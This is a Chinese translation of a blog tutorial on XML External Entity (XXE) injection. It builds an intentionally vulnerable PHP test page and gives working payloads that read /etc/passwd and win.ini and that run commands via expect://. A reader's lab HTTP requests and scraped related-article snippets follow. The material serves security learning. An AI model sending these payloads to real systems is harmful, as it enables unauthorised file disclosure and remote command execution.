【译】Attacking XML with XML External Entity Injection (XXE)

原文链接:Attacking XML with XML External Entity Injection (XXE)

XXE:使用XML外部实体注入攻击XML

  在XML中,有一种注入外部文件的方式。长久以来,自动XML解析器(在后端使用libxml2)默认启用。因此,使用XML来格式化和传递数据的站点是存在漏洞的。

  XML经常被这样使用,一些常规的猜想是一些API发起SOAP请求和Javascript / Ajax使用XML传递数据。

建立你的测试平台

  对于基于web的攻击,我喜欢在Mutillidae还有Metasploitable 2上测试一些东西。最新版的Mutillidae有个整洁的页面来尝试这种攻击,但Metasploitable 2上却没有。所以,我喜欢写个简单的PHP页面来进行测试。

  使用Kali Linux, 在/var/www目录下写入名为xmlinject.php的文件。内容如下:

<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents(‘php://input‘);
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); // this stuff is required to make sure
$creds = simplexml_import_dom($dom);
$user = $creds->user;
$pass = $creds->pass;

echo “You have logged in as user $user”;
?>

  这个文件期待接收XML内容。预期的XML内容类似于以下内容,命名为xml.txt:

<creds>
<user>admin</user>
<pass>mypass</pass>
</creds>

  使用命令启动Apache2服务: service apache2 start

  你可以使用各种各样的方式来发送XMl数据内容, 但是对于这个例子,我会创建一个简单的文件名为xml.txt,然后使用curl命令发送...

curl -d @xml.txt http://localhost/xmlinject.php

  一般情况下,你可能会使用curl, 或者使用BurpSuite代理或Zap或其他类似的工具来捕获网络流量。

  需要指出的是,这些PHP代码并不是必须的。但是,您运行固定版本的libxml2的机会不大,为了做演示的目的,代码会关闭外部实体保护。

攻击

我如何发现一个存在漏洞的主机?

  正如前面所提到的,这个在使用Ajax的应用程序中的一个API的SOAP请求或者Javascript请求。试着在任何传输XML信息的地方进行尝试。

我如何攻击这个(存在漏洞的)主机?

  在这个例子中,不管"user"域中的数据时什么都会返回。如果你想读取/etc/passwd文件,新的恶意XML将会像如下的样子:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>

  发送这些内容来测试PHP文件,将会返回/etc/passwd的内容。

  正如你所见,你通过"user"域注入了外部文件的内容。

  但我们要做的不仅仅是这样。如果PHP安装了"expect"模块(你可以通过“apt-get install libexpect-php5″ and restart Apache来进行安装),你还可以进行命令注入。试着将XML改成如下的样子:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>

  现在,你将得到执行"id"命令返回的结果。

  还有一些其他的东西可以尝试,想各种不同类型的DOS攻击(如果你注入/dev/random将会发生什么?),例如一般或递归实体扩展。

引用:

https://www.owasp.org/index.php/XML_External_Entity_%28XXE%29_Processing
http://phpsecurity.readthedocs.org/en/latest/Injection-Attacks.html
http://stackoverflow.com/questions/24117700/clarifications-on-xxe-vulnerabilities-throughout-php-versions

----------------------------------------------------------------悲壮的分割线----------------------------------------------------------------

大大们,上面的方法我没有成功啊,不管是在kali还是ubuntu下就是没有成功啊。

目的靶机:192.168.1.111  页面文件:C:\xampp\htdocs\xmlinject.php    [windows平台下的XAMPP]

【sample 1】在我的做法是这样的,用burp拦截请求=>Send to Repeat

请求数据:

POST /xmlinject.php HTTP/1.1
Host: 192.168.1.111
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 62

<creds>
<user>admin</user>
<pass>mypass</pass>
</creds>

Sample 1

【Sample 2】方法同上,请求的数据如下:

POST /xmlinject.php HTTP/1.1
Host: 192.168.1.111
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 197

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>

Sample 2

时间: 2024-08-08 09:42:23

【译】Attacking XML with XML External Entity Injection (XXE)的相关文章

XXE (XML External Entity Injection) :XML外部实体注入

XXE (XML External Entity Injection) 0x01 什么是XXE XML外部实体注入 若是PHP,libxml_disable_entity_loader设置为TRUE可禁用外部实体注入 0x02 XXE利用 *简单文件读取 XMLInject.php <?php # Enable the ability to load external entities libxml_disable_entity_loader (false); $xmlfile = file_g

4.XXE (XML External Entity Injection)

XXE (XML External Entity Injection) 0x01 什么是XXE XML外部实体注入 若是PHP,libxml_disable_entity_loader设置为TRUE可禁用外部实体注入 0x02 XXE利用 简单文件读取 基于file协议的XXE攻击 XMLInject.php <?php # Enable the ability to load external entities libxml_disable_entity_loader (false); $xm

XXE: XML eXternal Entity Injection vulnerabilities

From:https://www.gracefulsecurity.com/xml-external-entity-injection-xxe-vulnerabilities/ Here's a quick write-up on XXE, starting with how to detect the vulnerability and moving on to how to fix it! XXE is a vulnerability in the way that XML parses h

XML External Entity attack/XXE攻击

XML External Entity attack/XXE攻击 1.相关背景介绍 可扩展标记语言(eXtensible Markup Language,XML)是一种标记语言,被设计用来传输和存储数据.XML应用极其广泛,如: * 普通列表项目文档格式:OOXML,ODF,PDF,RSS…… * 图片格式:SVG,EXIF Headers…… * 网络协议:WebDAV,CalDAV,XMLRPC,SOAP,REST,XMPP,SAML,XACML…… * 配置文件:Spring配置文件,St

XXE (XML External Entity Injection) 外部实体注入漏洞案例分析

ENTITY 实体 在一个甚至多个XML文档中频繁使用某一条数据,我们可以预先定义一个这条数据的"别名",即一个ENTITY,然后在这些文档中需要该数据的地方调用它. XML定义了两种类型的ENTITY,一种在XML文档中使用,另一种作为参数在DTD文件中使用. ENTITY的定义语法: <!DOCTYPE 文件名 [ <!ENTITY 实体名 "实体内容"> ]> xml entity 可以读取外置文件,其实entity作用相当于定义全局变

List of XML and HTML character entity references

A character entity reference refers to the content of a named entity. An entity declaration is created by using the <!ENTITY name "value"> syntax in a Document Type Definition (DTD).In SGML, HTML and XML documents, the logical constructs k

Java SE之XML&lt;一&gt;XML文档规约

[文档整理系列] Java SE之XML<一>XML文档规约 1.xml文档引用: 1.外部私有DTD: <!DOCTYPE rootNodeName SYSTEM "uri.dtd"> (在xml文件中声明,带关键字SYSTEM) 2.外部公共文件时: <!DOCTYPE rootNode名称 PUBLIC "DTD名称" "uri.dtd"> (在xml文件中声明,带关键字PUBLIC) 3.内部引用: &

web.xml &amp; web-fragment.xml (Servlet 2.3, 2.4, 2.5 + 3.0)模板

转自:http://jlcon.iteye.com/blog/890964 web.xml v2.3 Xml代码   <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE web-app PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN" "http://java.sun.com/dtd/w

关于XML与XML解析(一)

XML语言 XML语言:可扩展标记语言(HTML 超文本标记语言) XML与HTML的差异主要在于其标记完全是自定义的,我们只需要遵循一定的语法结构即可. 其主要作用是:存储配置信息和传输数据(用于数据交换) 特点: 1.xml文件后缀名:.xml(可使用浏览器浏览) 2.xml文档结构:序言(<?xml version="1.0" encoding="字符集">) + 数据部分 3.xml节点:分双标记和单标记(开始标记--结束标记),根标记只能有一对